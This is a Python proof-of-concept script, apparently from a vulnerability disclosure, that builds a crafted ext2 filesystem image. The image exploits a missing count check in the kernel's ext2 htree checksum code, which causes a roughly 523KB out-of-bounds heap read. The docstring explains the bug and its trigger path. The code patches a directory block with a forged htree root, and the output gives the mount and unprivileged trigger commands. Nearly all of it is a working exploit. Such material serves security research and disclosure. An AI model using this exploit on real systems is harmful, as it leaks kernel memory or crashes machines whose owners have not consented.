DF-0877 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 | #!/usr/bin/env python3 """ DF-0877 โ ext2_dx_csum OOB heap read via unvalidated htree entry count. Produces an ext2 image with metadata_csum + dir_index features enabled, containing a directory whose first data block is patched to look like an htree root with h_entries_num (count) = 65535 while h_entries_max (limit) is kept small and valid. The bug (sys/vfs/ext2fs/ext2_csum.c:280-284,253,261): ext2_dx_csum_verify reads limit and count from disk. It validates `limit*8 <= bsize-tail` but NEVER checks `count <= limit`. The unvalidated count is passed to ext2_dx_csum which computes: size = count_offset + count * sizeof(struct ext2fs_htree_entry) and then reads `size` bytes from the directory block buffer: crc = calculate_crc32c(crc, buf, size) With count=65535 and sizeof(htree_entry)=8: size = 32 + 524280 = 524312 bytes The buffer is only bsize (1024) bytes, so this reads ~523KB past it into adjacent kernel heap (info leak) or unmapped pages (panic). Reachability (POST-mount, unprivileged): Any readdir/lookup/stat on the directory triggers: ext2_readdir โ ext2_blkatoff โ ext2_dir_blk_csum_verify โ ext2_dx_csum_verify โ ext2_dx_csum The OOB read happens during the csum COMPUTATION, before the csum comparison at ext2_csum.c:289. So even though the csum mismatches (causing readdir to return EIO), the 524KB over-read already occurred. Usage: ./craft_img.py OUT_IMG [SIZE_MB] """ import os, sys, struct, subprocess, shutil, tempfile SB_OFFSET = 1024 # ext2/e2fs feature flags EXT2F_ROCOMPAT_METADATA_CKSUM = 0x0400 EXT2F_ROCOMPAT_GDT_CSUM = 0x0010 # htree on-disk structures (sys/vfs/ext2fs/htree.h) # struct ext2fs_htree_count { uint16_t h_entries_max; uint16_t h_entries_num; } = 4 bytes # struct ext2fs_htree_entry { uint32_t h_hash; uint32_t h_blk; } = 8 bytes # struct ext2fs_htree_tail { uint32_t ht_reserved; uint32_t ht_checksum; } = 8 bytes # struct ext2fs_htree_root_info { uint32_t h_reserved1; uint8_t h_hash_version; # uint8_t h_info_len; uint8_t h_ind_levels; uint8_t h_reserved2; } = 8 bytes HTREE_ENTRY_SIZE = 8 HTREE_TAIL_SIZE = 8 ROOT_INFO_SIZE = 8 # sizeof(struct ext2fs_htree_root_info) POISON_COUNT = 65535 # h_entries_num โ drives the 524312-byte read def craft(out_path, size_mb=4): if os.path.exists(out_path): os.remove(out_path) # 1) Create a clean ext2 image: blocksize 1024, metadata_csum + dir_index ON, # 64bit OFF. Populate with a temp dir that has a subdirectory "testdir". mke2fs = shutil.which("mke2fs") or shutil.which("mkfs.ext4") with tempfile.TemporaryDirectory() as tmpd: os.makedirs(os.path.join(tmpd, "testdir")) cmd = [ mke2fs, "-t", "ext2", "-b", "1024", "-O", "metadata_csum,dir_index,^64bit", "-O", "^resize_inode,^dir_nlink,^ext_attr,^sparse_super,^large_file,^filetype", "-E", "nodiscard", "-F", "-q", "-d", tmpd, out_path, f"{size_mb}M", ] print("[*] running:", " ".join(cmd)) subprocess.run(cmd, check=True) # 2) Read the full image with open(out_path, "rb") as f: img = bytearray(f.read()) sb = img[SB_OFFSET:SB_OFFSET + 1024] feat_rocompat = struct.unpack_from("<I", sb, 100)[0] bsize = 1024 << struct.unpack_from("<I", sb, 24)[0] # s_log_block_size print(f"[*] features_rocompat = 0x{feat_rocompat:08x} " f"(metadata_csum={'ON' if feat_rocompat & EXT2F_ROCOMPAT_METADATA_CKSUM else 'OFF'})") print(f"[*] block size = {bsize}") assert bsize == 1024, f"expected 1024-byte blocks, got {bsize}" # 3) Use debugfs to find testdir's inode, then its first data block. debugfs = shutil.which("debugfs") # Find the inode number of testdir by listing root dir (inode 2) r = subprocess.run([debugfs, "-R", "ls -l <2>", out_path], capture_output=True, text=True) testdir_ino = None for line in r.stdout.splitlines(): parts = line.split() if len(parts) >= 6 and parts[-1].strip() == "testdir": testdir_ino = int(parts[0]) break assert testdir_ino is not None, "testdir not found in root directory" print(f"[*] testdir inode = {testdir_ino}") # Get the physical block number of logical block 0 of testdir r = subprocess.run([debugfs, "-R", f"bmap <{testdir_ino}> 0", out_path], capture_output=True, text=True) blk_str = r.stdout.strip().split('\n')[-1].strip() phys_blk = int(blk_str) print(f"[*] testdir logical block 0 -> physical block {phys_blk}") assert phys_blk > 0, "testdir has no data block?" blk_off = phys_blk * bsize block = bytearray(img[blk_off:blk_off + bsize]) print(f"[*] testdir block at image offset 0x{blk_off:x} ({blk_off})") # 4) Verify the block has "." and ".." dirents in the expected layout. dot_inode = struct.unpack_from("<I", block, 0)[0] dot_rec = struct.unpack_from("<H", block, 4)[0] dot_name = block[8:11] dotdot_rec = struct.unpack_from("<H", block, 16)[0] # reclen at offset 12+4 print(f"[*] '.' inode={dot_inode} reclen={dot_rec} name={dot_name!r}") print(f"[*] '..' reclen={dotdot_rec}") if dot_rec != 12: print("[!] WARNING: '.'.reclen=%d (expected 12)" % dot_rec) # 4b) CRITICAL: mke2fs leaves room for a dirent tail (12 bytes) when # metadata_csum is on, so '..'.reclen = bsize-24, not bsize-12. # ext2_dirent_get_tail would then FIND the tail and route to # ext2_dirent_csum_verify instead of ext2_dx_csum_verify. We need # the dx path. Fix: stretch '..'.reclen to bsize-12 (filling the # whole block) and zero the old tail area so the dirent-tail walk # overshoots `top` and returns NULL (ext2_csum.c:165-166). if dotdot_rec != bsize - 12: print(f"[*] stretching '..'.reclen {dotdot_rec} -> {bsize - 12} (kill dirent tail)") struct.pack_into("<H", block, 16, bsize - 12) # '..' reclen at offset 12+4=16 # Zero the old dirent tail region (last 12 bytes of block) for i in range(bsize - 12, bsize): block[i] = 0 # 5) Forge the htree root structure. # ext2_get_dx_count requires (ext2_csum.c:220-232): # ep->reclen == 12 AND (ep+12)->reclen == bsize-12 AND # root_info at ep+24: h_reserved1==0, h_info_len==8 # => count_offset = 32 # # Set limit=1 (small, passes the limit check), count=65535 (POISON). limit = 1 # h_entries_max count = POISON_COUNT # h_entries_num # Offset 24: htree_root_info struct.pack_into("<I", block, 24, 0) # h_reserved1 = 0 block[28] = 0 # h_hash_version = 0 (DETECT) block[29] = ROOT_INFO_SIZE # h_info_len = 8 block[30] = 0 # h_ind_levels = 0 block[31] = 0 # h_reserved2 = 0 # Offset 32: htree_count struct.pack_into("<HH", block, 32, limit, count) # h_entries_max, h_entries_num # Offset 32 + limit*8 = 40: htree_tail (for limit=1) tail_off = 32 + limit * HTREE_ENTRY_SIZE # = 40 struct.pack_into("<II", block, tail_off, 0, 0) # ht_reserved=0, ht_checksum=0 # The dx_csum will NOT match (we can't know the heap bytes past the buffer), # so ext2_dx_csum_verify returns EIO and readdir fails with EIO. # BUT the OOB read of 524312 bytes ALREADY HAPPENED during csum computation # at ext2_csum.c:261, BEFORE the comparison at :289. That is the bug. size_oob = 32 + count * HTREE_ENTRY_SIZE # 524312 print(f"\n[+] PATCHED testdir block:") print(f" h_entries_max (limit) = {limit}") print(f" h_entries_num (count) = {count} (POISON)") print(f" count_offset = 32") print(f" ext2_dx_csum read size = 32 + {count}*{HTREE_ENTRY_SIZE} = {size_oob} bytes") print(f" buffer size (bsize) = {bsize} bytes") print(f" OOB read past buffer = {size_oob - bsize} bytes ({(size_oob-bsize)//1024} KB)") # 6) Write the patched block back img[blk_off:blk_off + bsize] = block # 7) We did NOT modify the superblock, group descriptors, or inode metadata, # so all metadata checksums remain valid. The mount will succeed. Only # the testdir data block is patched; its dx_csum mismatch is detected # on first readdir (after the OOB read). with open(out_path, "wb") as f: f.write(img) print(f"\n[+] crafted image: {out_path} ({len(img)} bytes)") print(f"[+] mount: mount_ext2fs /dev/vn0c /mnt") print(f"[+] trigger (as unprivileged): ls /mnt/testdir") if __name__ == "__main__": if len(sys.argv) < 2: print(__doc__); sys.exit(1) out = sys.argv[1] sz = int(sys.argv[2]) if len(sys.argv) > 2 else 4 craft(out, sz) |